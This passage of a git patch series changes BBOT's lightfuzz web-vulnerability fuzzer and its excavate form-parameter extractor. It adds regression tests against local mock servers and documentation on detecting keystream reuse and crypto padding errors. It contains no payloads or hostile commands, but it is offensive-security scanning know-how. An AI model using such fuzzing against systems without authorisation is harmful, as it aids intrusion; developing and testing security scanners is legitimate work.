ntlm | scan | No | Watch for HTTP endpoints that support NTLM authentication | active, safe, web | HTTP_RESPONSE, URL | DNS_NAME, FINDING | @liquidsec | 2022-07-25 | From 6061f4c9a5932df30dd2e102874c41720c7177a4 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Mon, 11 May 2026 15:14:24 -0400 Subject: [PATCH 634/912] lightfuzz: baseline_probe submits the form properly MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit baseline_probe was firing a bare request with no body — for POST baselines the server received an empty body and rendered a default/error view, not the actual form submission. The resulting HTTP_RESPONSE was useless for excavate to re-mine, defeating the recon→DAST loop on real targets. Now uses prepare_request() (the same builder compare_baseline uses) so the baseline request carries the parameter's original_value plus every sibling field from additional_params. GET baselines get them in the querystring; POST/BODYJSON in the body; HEADER/COOKIE on the wire. Regression test: Test_Lightfuzz_baseline_probe_form_submission stands up a server that only reveals /crypto-baseline-secret when the POST body includes the form's token field. Verified the test catches the prior bug (reverted the fix in-stash, the assertion fails on the missing URL_UNVERIFIED for /crypto-baseline-secret). Also fixes Test_Lightfuzz_crypto_error fixture: the server returned the crypto error for any non-empty secret value, including the canonical one. With baseline_probe correctly sending the canonical value, the baseline itself contained the error and error_string_search had nothing to diff against. The fixture now mirrors a real crypto-vulnerable backend (canonical value decrypts cleanly; any other value errors). --- bbot/modules/lightfuzz/submodules/base.py | 28 ++++--- .../module_tests/test_module_lightfuzz.py | 83 ++++++++++++++++++- 2 files changed, 95 insertions(+), 16 deletions(-) diff --git a/bbot/modules/lightfuzz/submodules/base.py b/bbot/modules/lightfuzz/submodules/base.py index 73867865fc..5d572e1eda 100644 --- a/bbot/modules/lightfuzz/submodules/base.py +++ b/bbot/modules/lightfuzz/submodules/base.py @@ -218,26 +218,28 @@ async def _on_ready(baseline_response): async def baseline_probe(self, cookies, emit_http_response=True): """ - Executes a baseline probe to establish a baseline for comparison. + Executes a baseline probe by submitting the form the way a browser + would: POSTs carry the parameter's original_value plus every sibling + field from ``additional_params``; GETs carry them in the querystring; + headers/cookies inject them on the wire. Uses ``prepare_request()`` so + the request shape matches what ``compare_baseline`` would build. When ``emit_http_response`` is true and the lightfuzz config allows it, the response is also emitted as an HTTP_RESPONSE event so excavate can re-mine the canonical page rendering for new params/URLs. """ - if self.event.data.get("type") in ["POSTPARAM", "BODYJSON"]: - method = "POST" - else: - method = "GET" - - response = await self.lightfuzz.helpers.request( - method=method, - cookies=cookies, - url=self.event.url, - allow_redirects=False, - retries=1, - timeout=10, + probe_value = self.incoming_probe_value(populate_empty=False) + additional_params = copy.deepcopy(self.event.data.get("additional_params", {})) + request_params = self.prepare_request( + self.event.data.get("type", "GETPARAM"), + probe_value, + cookies, + additional_params, ) + request_params.update({"allow_redirects": False, "retries": 1, "timeout": 10}) + response = await self.lightfuzz.helpers.request(**request_params) if emit_http_response and response is not None: + method = request_params.get("method", "GET") await self.lightfuzz.emit_baseline_response(response, self.event, method=method) return response diff --git a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py index 725101fe93..b035c1b7c8 100644 --- a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py +++ b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py @@ -2474,13 +2474,15 @@ class Test_Lightfuzz_crypto_error(ModuleTestBase): }, } + canonical_value = "08a5a2cea9c5a5576e6e5314edcba581d21c7111c9c0c06990327b9127058d67" + def request_handler(self, request): qs = str(request.query_string.decode()) - parameter_block = """ + parameter_block = f"""
    - +
    @@ -2492,7 +2494,11 @@ def request_handler(self, request): """ if "secret=" in qs: - value = qs.split("=")[1] + value = qs.split("=", 1)[1].split("&")[0] + # Canonical ciphertext decrypts cleanly → normal page; any other value + # (truncation, mutation, garbage) → padding error. + if value == self.canonical_value: + return Response(parameter_block, status=200) if value: return Response(crypto_block, status=200) @@ -4317,3 +4323,74 @@ def check(self, module_test, events): "URL_UNVERIFIED for /secret-endpoint not emitted — cookie refresh failed; " "lightfuzz POST likely used the spider's stale TESTSESSION token." ) + + +# End-to-end test for the crypto submodule's baseline_probe path. +# +# Routes through baseline_probe (crypto's "what does the canonical page render +# look like" reference fetch), which is a separate code path from the +# compare_baseline flow exercised by sqli / cmdi / path. Server only reveals +# /crypto-baseline-secret when the POST carries the real form body (name + +# value of the parameter being fuzzed); a bare POST with no body returns a +# generic page. If baseline_probe submits the form properly, excavate mines +# /crypto-baseline-secret out of the emitted HTTP_RESPONSE and we see the +# URL_UNVERIFIED. If baseline_probe fires a body-less request, the URL is +# never revealed and the assertion fails. +class Test_Lightfuzz_baseline_probe_form_submission(ModuleTestBase): + targets = ["http://127.0.0.1:8888"] + modules_overrides = ["http", "lightfuzz", "excavate"] + config_overrides = { + "interactsh_disable": True, + "modules": { + # Crypto is the submodule that calls baseline_probe(); other submodules + # go through compare_baseline. + "lightfuzz": {"enabled_submodules": ["crypto"]}, + }, + } + + # High-entropy hex value so crypto's likely_crypto gate accepts it (≥ 4.5 bits). + canonical_value = "08a5a2cea9c5a5576e6e5314edcba581d21c7111c9c0c06990327b9127058d67" + + @property + def landing_page(self): + return f""" + +
    + + +
    + + """ + + async def setup_after_prep(self, module_test): + canonical = self.canonical_value + + def handler(request): + if request.method == "GET": + return Response(self.landing_page, status=200, content_type="text/html") + # POST: only reveal the secret link when the request body includes + # the form's actual field (`token=`). A bare POST with no + # body returns a generic page, which is what baseline_probe would + # produce if it weren't building the request via prepare_request. + token = request.form.get("token", "") + if token == canonical: + body = 'authenticated' + else: + body = "missing form fields" + return Response(body, status=200, content_type="text/html") + + module_test.set_expect_requests_handler( + expect_args=re.compile(".*"), + request_handler=handler, + ) + + def check(self, module_test, events): + secret_url = "http://127.0.0.1:8888/crypto-baseline-secret" + secret_seen = any( + e.type == "URL_UNVERIFIED" and str(getattr(e, "data", {}).get("url", "") or e.data) == secret_url + for e in events + ) + assert secret_seen, ( + "URL_UNVERIFIED for /crypto-baseline-secret not emitted — baseline_probe " + "did not submit the form properly (request body missing the token field)." + ) From b48d1e4693c21c2ae89d5b3d6a611fe17f6e0bb4 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Mon, 11 May 2026 15:59:45 -0400 Subject: [PATCH 635/912] excavate: route form discovery through opening-tag YARA + bounded body slice MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit YARA's regex engine has a hardcoded ceiling (~4 KB) on `.*` quantifiers between anchored points, so the form-discovery rules of shape `
    .*
    /s` silently failed to match any form whose body exceeded that bound — a single (~210 KB form), asserts all fields are extracted. Verified to fail (no fields emitted) before this fix. - TestExcavateGiantFormExceedsMaxBytes: ~240 KB form with max_form_bytes=32 KB, asserts no hang/OOM and no form fields leak through under the bound. - TestExcavateFormAttributeOrder: covers both `
    ` and ``. --- bbot/modules/internal/excavate.py | 92 +++++++++++- .../module_tests/test_module_excavate.py | 139 ++++++++++++++++++ 2 files changed, 224 insertions(+), 7 deletions(-) diff --git a/bbot/modules/internal/excavate.py b/bbot/modules/internal/excavate.py index eeca526c0e..ef9c6fe7a6 100644 --- a/bbot/modules/internal/excavate.py +++ b/bbot/modules/internal/excavate.py @@ -372,11 +372,13 @@ class excavateTestRule(ExcavateRule): "yara_max_match_data": 2000, "custom_yara_rules": "", "speculate_params": False, + "max_form_bytes": 262144, } options_desc = { "yara_max_match_data": "Sets the maximum amount of text that can extracted from a YARA regex", "custom_yara_rules": "Include custom Yara rules", "speculate_params": "Enable speculative parameter extraction from JSON and XML content", + "max_form_bytes": "Maximum byte slice of the response body searched for a single body. YARA only locates form openings; the bounded slice is what the Python re-based extractor scans for fields. Caps worst-case extraction work per form match.", } scope_distance_modifier = None accept_dupes = False @@ -427,9 +429,36 @@ class ParameterExtractorRule: async def extract(self): pass - def __init__(self, excavate, result): + def __init__(self, excavate, result, response_body=None, match_offset=0): + # response_body + match_offset are used by form discovery rules: + # YARA matches only the opening tag (avoiding its ~4 KB + # `.*` regex cliff), and extract() slices the surrounding body + # to feed the Python re-based extraction regex with a region + # large enough to contain a real-world form. self.excavate = excavate self.result = result + self.response_body = response_body + self.match_offset = match_offset + + def form_body_slice(self): + """Return a bounded slice of the response body anchored at the YARA match + offset. Form-extraction rules call this to scan a region big enough to + contain `
    ` even on forms with multi-KB `` with a few hundred options is enough). The Python + # `extraction_regex` below runs on a bounded slice of the response body + # anchored at this match offset (see ParameterExtractorRule.form_body_slice). + discovery_regex = r'/]*\bmethod=["\']?get["\']?[^>]*>/s nocase' form_content_regexes = { "input_tag_regex": bbot_regexes.input_tag_regex, "input_tag_regex2": bbot_regexes.input_tag_regex2, @@ -566,7 +601,7 @@ class GetForm(ParameterExtractorRule): output_type = "GETPARAM" async def extract(self): - forms = await self.excavate.helpers.re.findall(self.extraction_regex, str(self.result)) + forms = await self.excavate.helpers.re.findall(self.extraction_regex, self.form_body_slice()) for form_action, form_content in forms: if not form_action or form_action == "#": form_action = None @@ -618,7 +653,7 @@ class GetForm2(GetForm): class PostForm(GetForm): name = "POST Form" - discovery_regex = r'/]*\bmethod=["\']?post["\']?[^>]*>.*<\/form>/s nocase' + discovery_regex = r'/]*\bmethod=["\']?post["\']?[^>]*>/s nocase' extraction_regex = bbot_regexes.post_form_regex output_type = "POSTPARAM" @@ -632,7 +667,7 @@ class PostForm_NoAction(PostForm): # underscore ensure generic forms runs last, so it doesn't cause dedupe to stop full form detection class _GenericForm(GetForm): name = "Generic Form" - discovery_regex = r"/]*>.*<\/form>/s nocase" + discovery_regex = r"/]*>/s nocase" extraction_regex = bbot_regexes.generic_form_regex output_type = "GETPARAM" @@ -651,6 +686,42 @@ def __init__(self, excavate): rf'rule parameter_extraction {{meta: description = "contains Parameter" strings: {regexes_component} condition: any of them}}' ) + async def preprocess(self, r, event, discovery_context): + # Override the base class flattener so each YARA hit retains its offset. + # Form rules need (matched_data, offset) per instance because they + # reconstruct the form body from a bounded slice of the response body + # anchored at the match offset — YARA's regex engine can't span the + # opening tag to `` reliably on forms larger than ~4 KB. + description = "" + tags = [] + emit_match = False + severity = "INFO" + confidence = "UNKNOWN" + if "description" in r.meta.keys(): + description = r.meta["description"] + if "tags" in r.meta.keys(): + tags = self.excavate.helpers.chain_lists(r.meta["tags"]) + if "emit_match" in r.meta.keys(): + emit_match = True + if "severity" in r.meta.keys(): + severity = r.meta["severity"] + if "confidence" in r.meta.keys(): + confidence = r.meta["confidence"] + yara_rule_settings = YaraRuleSettings(description, tags, emit_match, severity, confidence) + + yara_results = {} + for h in r.strings: + instances = [] + seen_offsets = set() + for i in h.instances: + offset = getattr(i, "offset", 0) + if offset in seen_offsets: + continue + seen_offsets.add(offset) + instances.append((i.matched_data.decode("utf-8", errors="ignore"), offset)) + yara_results[h.identifier.lstrip("$")] = instances + await self.process(yara_results, event, yara_rule_settings, discovery_context) + async def process(self, yara_results, event, yara_rule_settings, discovery_context): # Two-pass: collect every yielded tuple across all YARA results for an # identifier (YARA matches each tag separately, so values for the @@ -661,14 +732,18 @@ async def process(self, yara_results, event, yara_rule_settings, discovery_conte # surviving the WEB_PARAMETER dedup that would otherwise discard them. # Cross-value detectors (e.g. lightfuzz crypto's keystream-reuse check) # read same_param_values. + response_body = event.data.get("body", "") if isinstance(event.data, dict) else "" for identifier, results in yara_results.items(): if identifier not in self.parameterExtractorCallbackDict.keys(): raise ExcavateError("ParameterExtractor YaraRule identified reference non-existent submodule") grouped = {} submodule_name = None - for result in results: + for matched_data, match_offset in results: parameterExtractorSubModule = self.parameterExtractorCallbackDict[identifier]( - self.excavate, result + self.excavate, + matched_data, + response_body=response_body, + match_offset=match_offset, ) submodule_name = parameterExtractorSubModule.name async for ( @@ -1113,6 +1188,9 @@ async def setup(self): self.parameter_extraction = bool(modules_WEB_PARAMETER) self.speculate_params = bool(self.config.get("speculate_params", False)) self.remove_querystring = self.scan.config.get("url_querystring_remove", True) + # Bounded slice of the response body searched for a form's body, anchored + # at each YARA form-opening match. Caps worst-case Python re work per form. + self.max_form_bytes = int(self.config.get("max_form_bytes", 262144)) for module in self.scan.modules.values(): if not str(module).startswith("_"): diff --git a/bbot/test/test_step_2/module_tests/test_module_excavate.py b/bbot/test/test_step_2/module_tests/test_module_excavate.py index 0dbd21c433..7b588307c5 100644 --- a/bbot/test/test_step_2/module_tests/test_module_excavate.py +++ b/bbot/test/test_step_2/module_tests/test_module_excavate.py @@ -5,6 +5,7 @@ from bbot.modules.internal.excavate import ExcavateRule from pathlib import Path +import time import yara @@ -1711,3 +1712,141 @@ def check(self, module_test, events): assert len(redirect_params) == 0, ( f"Out-of-scope redirect parameters should not be extracted, but got: {redirect_params}" ) + + +# Verifies excavate extracts parameters from a form whose body is far larger than +# YARA's `.*` regex ceiling (~4 KB). The fix routes form discovery through an +# opening-tag-only YARA regex and reads the form body from a bounded slice of the +# response. Before the fix, this fixture produced zero WEB_PARAMETER events; after +# it, every field must be extracted, and the work must stay fast. +class TestExcavateGiantForm(ModuleTestBase): + targets = ["http://127.0.0.1:8888/"] + modules_overrides = ["http", "excavate", "hunt"] + + GIANT_OPTION_COUNT = 5000 + + @classmethod + def _build_giant_form_html(cls, option_count): + # ~40 bytes per option × N options dominates the form body, easily blowing + # past YARA's regex ceiling on `
    .*
    ` patterns. + options = "".join(f'' for i in range(option_count)) + return ( + "" + '
    ' + '' + '' + f'' + '' + "
    " + "" + ) + + async def setup_after_prep(self, module_test): + body = self._build_giant_form_html(self.GIANT_OPTION_COUNT) + # Sanity check the fixture really is past the YARA cliff. + assert len(body) > 100_000, f"giant-form fixture not large enough: {len(body)} bytes" + module_test.set_expect_requests( + expect_args={"method": "GET", "uri": "/"}, + respond_args={"response_data": body, "status": 200, "headers": {"Content-Type": "text/html"}}, + ) + # Stash a start time so check() can do a coarse wall-clock assertion. + module_test._giantform_start = time.monotonic() + + def check(self, module_test, events): + elapsed = time.monotonic() - module_test._giantform_start + # Coarse upper bound: full scan including HTTP fetch should stay snappy on + # a normal dev box even with a 200 KB form. The spec calls for sub-200ms + # processing of the giant-form HTTP_RESPONSE itself; we allow more slack + # here because the wall-clock includes the rest of the scan harness. + assert elapsed < 30, f"giant-form scan took {elapsed:.1f}s — likely a pathological regex regression" + + web_params = {e.data.get("name") for e in events if e.type == "WEB_PARAMETER" and isinstance(e.data, dict)} + expected = {"provider_id", "csrf", "search_term"} + missing = expected - web_params + assert not missing, f"WEB_PARAMETERs missing for giant-form fields: {missing}. Got: {sorted(web_params)}" + + +# Same shape as the giant-form test but with a form body that exceeds +# max_form_bytes. The bound is a defensive cap: forms that don't fit are +# skipped entirely (no partial extraction). The test asserts excavate doesn't +# hang or OOM on a multi-hundred-KB form fixture. +class TestExcavateGiantFormExceedsMaxBytes(ModuleTestBase): + targets = ["http://127.0.0.1:8888/"] + modules_overrides = ["http", "excavate", "hunt"] + + # Constrain max_form_bytes so we don't have to generate a literal 2 MB + # fixture to prove the bound holds — 32 KB is well below the body size + # the next fixture generates (~240 KB). + config_overrides = {"modules": {"excavate": {"max_form_bytes": 32768}}} + + OPTION_COUNT = 6000 # ~240 KB form body — 7.5× past max_form_bytes + + @classmethod + def _build_giant_form_html(cls, option_count): + options = "".join(f'' for i in range(option_count)) + return ( + "" + '
    ' + '' + '' + f'' + '' + "
    " + "" + ) + + async def setup_after_prep(self, module_test): + body = self._build_giant_form_html(self.OPTION_COUNT) + # Sanity check we built something that actually exceeds the configured bound. + assert len(body) > 32768 * 5, f"oversized fixture too small: {len(body)} bytes" + module_test.set_expect_requests( + expect_args={"method": "GET", "uri": "/"}, + respond_args={"response_data": body, "status": 200, "headers": {"Content-Type": "text/html"}}, + ) + module_test._oversized_start = time.monotonic() + + def check(self, module_test, events): + # Hang/OOM guard: a runaway extractor would push wall-clock well past + # this. A correctly-bounded extractor handles even a 240 KB form in seconds. + elapsed = time.monotonic() - module_test._oversized_start + assert elapsed < 60, f"oversized-form scan took {elapsed:.1f}s — bound likely not enforced" + + # No form-field WEB_PARAMETERs should be emitted for the oversized form + # — extraction regex anchors on `` which falls outside the bound. + # Other WEB_PARAMETERs (e.g. global `test` header from scan config) are fine. + form_fields = {"csrf", "search_term", "provider_id"} + emitted = {e.data.get("name") for e in events if e.type == "WEB_PARAMETER" and isinstance(e.data, dict)} + leaked = form_fields & emitted + assert not leaked, ( + f"oversized form's fields should be skipped entirely under the bound, but excavate emitted: {leaked}" + ) + + +# Verifies the opening-tag YARA regex fires regardless of attribute order. +# Both `
    ` and `` should +# extract the form's fields. +class TestExcavateFormAttributeOrder(ModuleTestBase): + targets = ["http://127.0.0.1:8888/"] + modules_overrides = ["http", "excavate", "hunt"] + + html = """ + + + +
    +
    + +
    + + """ + + async def setup_after_prep(self, module_test): + module_test.set_expect_requests( + expect_args={"method": "GET", "uri": "/"}, + respond_args={"response_data": self.html, "status": 200, "headers": {"Content-Type": "text/html"}}, + ) + + def check(self, module_test, events): + names = {e.data.get("name") for e in events if e.type == "WEB_PARAMETER" and isinstance(e.data, dict)} + assert "action_first" in names, f"missing action-first form field; got {sorted(names)}" + assert "method_first" in names, f"missing method-first form field; got {sorted(names)}" From fe63fe46d0fb08876c64bafe6659052d5c7b88f4 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Mon, 11 May 2026 16:04:09 -0400 Subject: [PATCH 636/912] docs: document lightfuzz crypto's keystream-reuse / many-time-pad detection New Stage 0 in the crypto section covering the cross-value pairwise-XOR check, its severity/confidence ladder, and why it bypasses the entropy gate. --- docs/modules/lightfuzz.md | 12 +++++++++++- 1 file changed, 11 insertions(+), 1 deletion(-) diff --git a/docs/modules/lightfuzz.md b/docs/modules/lightfuzz.md index 9326ad4a13..14d078fa32 100644 --- a/docs/modules/lightfuzz.md +++ b/docs/modules/lightfuzz.md @@ -147,7 +147,17 @@ If the response contains `1787569` (or `1,787,569`), the expression was evaluate Identifies cryptographic parameters and probes for cryptographic vulnerabilities. This submodule has several stages with varying confidence levels. -**Stage 1 — Cryptanalysis Gate**: Checks if the parameter value is likely encrypted by calculating Shannon entropy (threshold: 4.5) and whether its decoded length is a multiple of 8 (suggesting a block cipher). If entropy is below threshold, all further tests are skipped. +**Stage 0 — Keystream Reuse / Many-Time-Pad** (HIGH/CONFIRMED to MEDIUM/PROBABLE; zero HTTP requests): A cross-value passive check that runs *before* the entropy gate. When a stream cipher reuses a single keystream across multiple encryptions (no IV, fixed key — a common homebrew mistake), XOR-ing any two ciphertexts yields the XOR of their plaintexts. For natural-language or identifier plaintexts that share a prefix, the result begins with a run of zero bytes — mathematically impossible under correct encryption. + +The detector gathers candidate ciphertexts from the parameter's own value plus every value in `additional_params` (sibling form fields) and `same_param_values` (other observed values for the same parameter across a single page, e.g. sort links with distinct hex-encoded keys). It decodes each via the existing `format_agnostic_decode()` helper, pairwise-XORs them, and scores the result: + +- **HIGH / CONFIRMED** — a leading run of ≥ 5 zero bytes (two plaintexts share their first 5+ bytes; impossible under correct encryption with fresh IVs) +- **HIGH / PROBABLE** — a 3-4 byte zero run, or ≥ 95% of XOR bytes fall in the `[0x00, 0x60]` "printable-ASCII XOR printable-ASCII" range +- **MEDIUM / PROBABLE** — ≥ 90% ASCII-XOR-ASCII bytes but no zero-run + +This stage bypasses the entropy gate (Stage 1) because the short ASCII plaintexts most vulnerable to this misuse often produce ciphertext below the 4.5-bit threshold the gate would otherwise filter out. + +**Stage 1 — Cryptanalysis Gate**: Checks if the parameter value is likely encrypted by calculating Shannon entropy (threshold: 4.5) and whether its decoded length is a multiple of 8 (suggesting a block cipher). If entropy is below threshold, all per-value tests are skipped (Stage 0's cross-value check has already run). **Stage 2 — Response Divergence** (INFORMATIONAL severity, LOW confidence): Performs byte-level manipulations (truncation and single-byte mutation) and compares responses against both the baseline and an arbitrary garbage value. If the manipulated ciphertext produces a *different* response from both the original *and* garbage input, the parameter likely drives a real cryptographic operation. From 20023d07a5c0b17757834c1611d5637b8ddd93b8 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Mon, 11 May 2026 16:16:28 -0400 Subject: [PATCH 637/912] lightfuzz: coerce None to empty string in prepare_request wire serialization MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Excavate stores original_value=None for elements without a value= attribute (distinct from value="" in event metadata). Browsers submit both cases identically as name= (empty value), but Python's urlencode renders None as the literal text 'None' — the target server then sees name=None and typically rejects the request as malformed. Coerce None → '' at the prepare_request wire boundary so the request matches browser-equivalent semantics. Affects the populate_empty=False path (baseline_probe and any explicit caller); the populate_empty=True path already replaces None with random strings in additional_params_process. Regression test Test_Lightfuzz_none_in_additional_params: server reveals the secret only when the no-value-attr field arrives as '' (empty) rather than the literal 'None'. Verified the test fails on the pre-fix codebase and passes after. --- bbot/modules/lightfuzz/submodules/base.py | 11 +++ .../module_tests/test_module_lightfuzz.py | 71 +++++++++++++++++++ 2 files changed, 82 insertions(+) diff --git a/bbot/modules/lightfuzz/submodules/base.py b/bbot/modules/lightfuzz/submodules/base.py index 5d572e1eda..bf8b08b2f2 100644 --- a/bbot/modules/lightfuzz/submodules/base.py +++ b/bbot/modules/lightfuzz/submodules/base.py @@ -122,6 +122,17 @@ def prepare_request( parameter_name = self.parameter_name additional_params = self.additional_params_process(additional_params, additional_params_populate_empty) + # Normalize None values to "" at the wire boundary. Excavate intentionally + # distinguishes `original_value=None` (" had no value attribute") from + # `original_value=""` ("") in the event metadata, but the + # wire serialization is identical for both — browsers submit them as `name=`. + # Python's urlencode renders None as the literal text "None", which targets + # then reject as malformed input. + if additional_params: + additional_params = {k: ("" if v is None else v) for k, v in additional_params.items()} + if probe is None: + probe = "" + # Transparently pack the probe value into the envelopes, if present probe = self.outgoing_probe_value(probe) diff --git a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py index b035c1b7c8..c165785afc 100644 --- a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py +++ b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py @@ -4394,3 +4394,74 @@ def check(self, module_test, events): "URL_UNVERIFIED for /crypto-baseline-secret not emitted — baseline_probe " "did not submit the form properly (request body missing the token field)." ) + + +# Regression test for the None-as-additional-params bug. +# +# Excavate stores original_value=None for elements without a `value=` +# attribute (it distinguishes "no value attribute" from "empty value attribute" +# in event metadata). When lightfuzz fuzzes a sibling field, the None comes +# through in additional_params and Python's urlencode renders None as the +# literal text "None" — the target server then sees `name=None` instead of +# `name=` (the empty value a browser would actually submit), and typically +# rejects the request as malformed. +# +# Fix: coerce None → "" at the prepare_request wire boundary. This test stands +# up a server that only reveals /none-bug-secret when the no-value-attr field +# arrives as "" (browser-equivalent), and rejects literal "None". +class Test_Lightfuzz_none_in_additional_params(ModuleTestBase): + targets = ["http://127.0.0.1:8888"] + modules_overrides = ["http", "lightfuzz", "excavate"] + config_overrides = { + "interactsh_disable": True, + "modules": { + # crypto is the submodule that calls baseline_probe() with the default + # additional_params_populate_empty=False, so None survives through to + # prepare_request and exercises the wire-boundary coercion. + "lightfuzz": {"enabled_submodules": ["crypto"]}, + }, + } + + # The `search_term` input has NO value= attribute → excavate sets + # original_value=None → without the wire-boundary normalization, the + # baseline POST would send `search_term=None` (literal). + landing_page = """ + +
    + + + +
    + + """ + + async def setup_after_prep(self, module_test): + def handler(request): + if request.method == "GET": + return Response(self.landing_page, status=200, content_type="text/html") + # Reject the literal text "None" — that's the smoking gun for the + # urlencode-of-None bug. An empty string (the browser-equivalent + # submission) reveals the secret. + search_term = request.form.get("search_term", "") + csrf = request.form.get("csrf", "") + if csrf == "abc" and search_term == "": + body = '
    ok' + else: + body = f"got search_term={search_term!r}" + return Response(body, status=200, content_type="text/html") + + module_test.set_expect_requests_handler( + expect_args=re.compile(".*"), + request_handler=handler, + ) + + def check(self, module_test, events): + secret_url = "http://127.0.0.1:8888/none-bug-secret" + secret_seen = any( + e.type == "URL_UNVERIFIED" and str(getattr(e, "data", {}).get("url", "") or e.data) == secret_url + for e in events + ) + assert secret_seen, ( + "URL_UNVERIFIED for /none-bug-secret not emitted — lightfuzz POST likely " + "sent the literal text 'None' instead of '' for the no-value-attr field." + ) From e208d3b91fe759c641f03b2f2946f581663a3290 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Mon, 11 May 2026 17:33:16 -0400 Subject: [PATCH 638/912] lightfuzz: dual baseline_probe (form-as-captured + populate-empty-as-'a') MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit baseline_probe now fires up to two requests per WEB_PARAMETER: * Probe A — form as captured (existing behavior). Filter-style forms whose 'show all results' state is the no-narrowing default produce content here. * Probe B — substitute 'a' for the fuzzed field's value, only when its original_value is None or ''. Catches search-style forms whose useful content appears only when the primary text input is non-empty. Both responses go through emit_baseline_response so excavate can mine whichever returned populated content. No classifier picks between them — they both fire and the response is the arbiter. The baseline submission is hoisted to lightfuzz.handle_event so it runs once per WEB_PARAMETER regardless of which submodules are enabled (it's a module-level recon→DAST loop feature, not a crypto-specific one). Crypto still aborts early on empty probe_value as before — that's the correct behavior for crypto's per-value analyses, separate concern. Per-signature LRU cache (_baseline_probe_response_cache, bounded at 200 entries) ensures identical baselines across siblings of the same form collapse to one network request and one emission. Tests cover the two functional cases: * Search-style form with empty input → Probe B reveals secret link. * + + + """ + + async def setup_after_prep(self, module_test): + def handler(request): + if request.method == "GET": + return Response(self.landing_page, status=200, content_type="text/html") + q = request.form.get("q", "") + if q == "a": + body = 'match' + else: + body = "no results" + return Response(body, status=200, content_type="text/html") + + module_test.set_expect_requests_handler( + expect_args=re.compile(".*"), + request_handler=handler, + ) + + def check(self, module_test, events): + secret_url = "http://127.0.0.1:8888/dual-probe-secret" + secret_seen = any( + e.type == "URL_UNVERIFIED" and str(getattr(e, "data", {}).get("url", "") or e.data) == secret_url + for e in events + ) + assert secret_seen, ( + "URL_UNVERIFIED for /dual-probe-secret not emitted — baseline_probe's " + "Probe B (substituted value='a') likely didn't fire for the empty ." + ) + + +# When the fuzzed field has a real captured default (e.g., + + + + + + """ + + async def setup_after_prep(self, module_test): + # Reset class state for this run (in case of repeated runs in one process). + self._request_log["posts"] = [] + + def handler(request): + if request.method == "GET": + return Response(self.landing_page, status=200, content_type="text/html") + self._request_log["posts"].append(dict(request.form)) + return Response("ok", status=200, content_type="text/html") + + module_test.set_expect_requests_handler( + expect_args=re.compile(".*"), + request_handler=handler, + ) + + def check(self, module_test, events): + posts = self._request_log["posts"] + # All POSTs should carry role=admin (the captured selected value). If + # Probe B fired for this field, we'd see at least one POST with role="a". + assert all(p.get("role") == "admin" for p in posts), ( + f"Probe B fired for a field with a captured default; posts: {posts}" + ) + # And we expect just one unique POST body (Probe A) — caching collapses + # any duplicate Probe A fires across siblings. + unique_bodies = {tuple(sorted(p.items())) for p in posts} + assert len(unique_bodies) == 1, ( + f"Expected one unique POST body for the selected-option form, got {len(unique_bodies)}: {unique_bodies}" + ) From fe6c30994b6a0ce60d5d2f3c8767fcf6136b9472 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Mon, 11 May 2026 21:19:42 -0400 Subject: [PATCH 639/912] lightfuzz: host_url priming + coalesced connectivity_test; excavate: kill PostForm_NoAction phantom MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - excavate stamps host_url on form-derived WEB_PARAMETERs when the form's action URL differs from the discovery page; lightfuzz primes its connectivity GET against host_url and stamps Referer on probe requests - lightfuzz coalesces concurrent connectivity_test GETs per prime_url via NamedLock so the 4-5 WEB_PARAMETERs excavate emits per page share one GET instead of racing parallel ones under _module_threads=4 - lightfuzz dedup hash includes body_md5 for non-FINDING events so dual baseline_probe (Probe A vs Probe B) surfaces distinct bodies to excavate - regexes: tighten post_form_regex_noaction with a negative-lookahead so it stops over-matching forms with action — was emitting a phantom WEB_PARAMETER whose url fell back to event.url - test: rewrite cookie_refresh server to bootstrap-then-validate (matches real CSRF protections); add host_url priming end-to-end test --- bbot/core/helpers/regexes.py | 9 +- bbot/modules/internal/excavate.py | 8 ++ bbot/modules/lightfuzz/lightfuzz.py | 50 ++++++- bbot/modules/lightfuzz/submodules/base.py | 42 +++++- .../module_tests/test_module_lightfuzz.py | 131 ++++++++++++++++-- 5 files changed, 224 insertions(+), 16 deletions(-) diff --git a/bbot/core/helpers/regexes.py b/bbot/core/helpers/regexes.py index 0e00416a69..ad3cf14780 100644 --- a/bbot/core/helpers/regexes.py +++ b/bbot/core/helpers/regexes.py @@ -157,7 +157,14 @@ re.DOTALL, ) post_form_regex_noaction = re.compile( - r"]*(?:\baction=[\"']?([^\s\"'<>]+)[\"']?)?[^>]*\bmethod=[\"']?[pP][oO][sS][tT][\"']?[^>]*>([\s\S]*?)<\/form>", + # Negative lookahead rejects forms that already carry action= (those are + # handled by post_form_regex / post_form_regex2 with the real action URL). + # Without it, the action group's `?` makes this regex over-eagerly match + # forms with action, capturing '' and emitting a phantom WEB_PARAMETER + # whose url falls back to event.url — racing the legitimate emission. + # The empty `()` keeps findall's tuple shape (form_action, form_content) + # consistent with the other form regexes consumed by GetForm.extract(). + r"]*\baction=)()[^>]*\bmethod=[\"']?[pP][oO][sS][tT][\"']?[^>]*>([\s\S]*?)<\/form>", re.DOTALL, ) generic_form_regex = re.compile( diff --git a/bbot/modules/internal/excavate.py b/bbot/modules/internal/excavate.py index ef9c6fe7a6..ae18fbbdf3 100644 --- a/bbot/modules/internal/excavate.py +++ b/bbot/modules/internal/excavate.py @@ -819,6 +819,14 @@ async def process(self, yara_results, event, yara_rule_settings, discovery_conte } if same_param_values: data["same_param_values"] = same_param_values + # When the form's action URL is a different endpoint than the page + # the form was discovered on, stamp 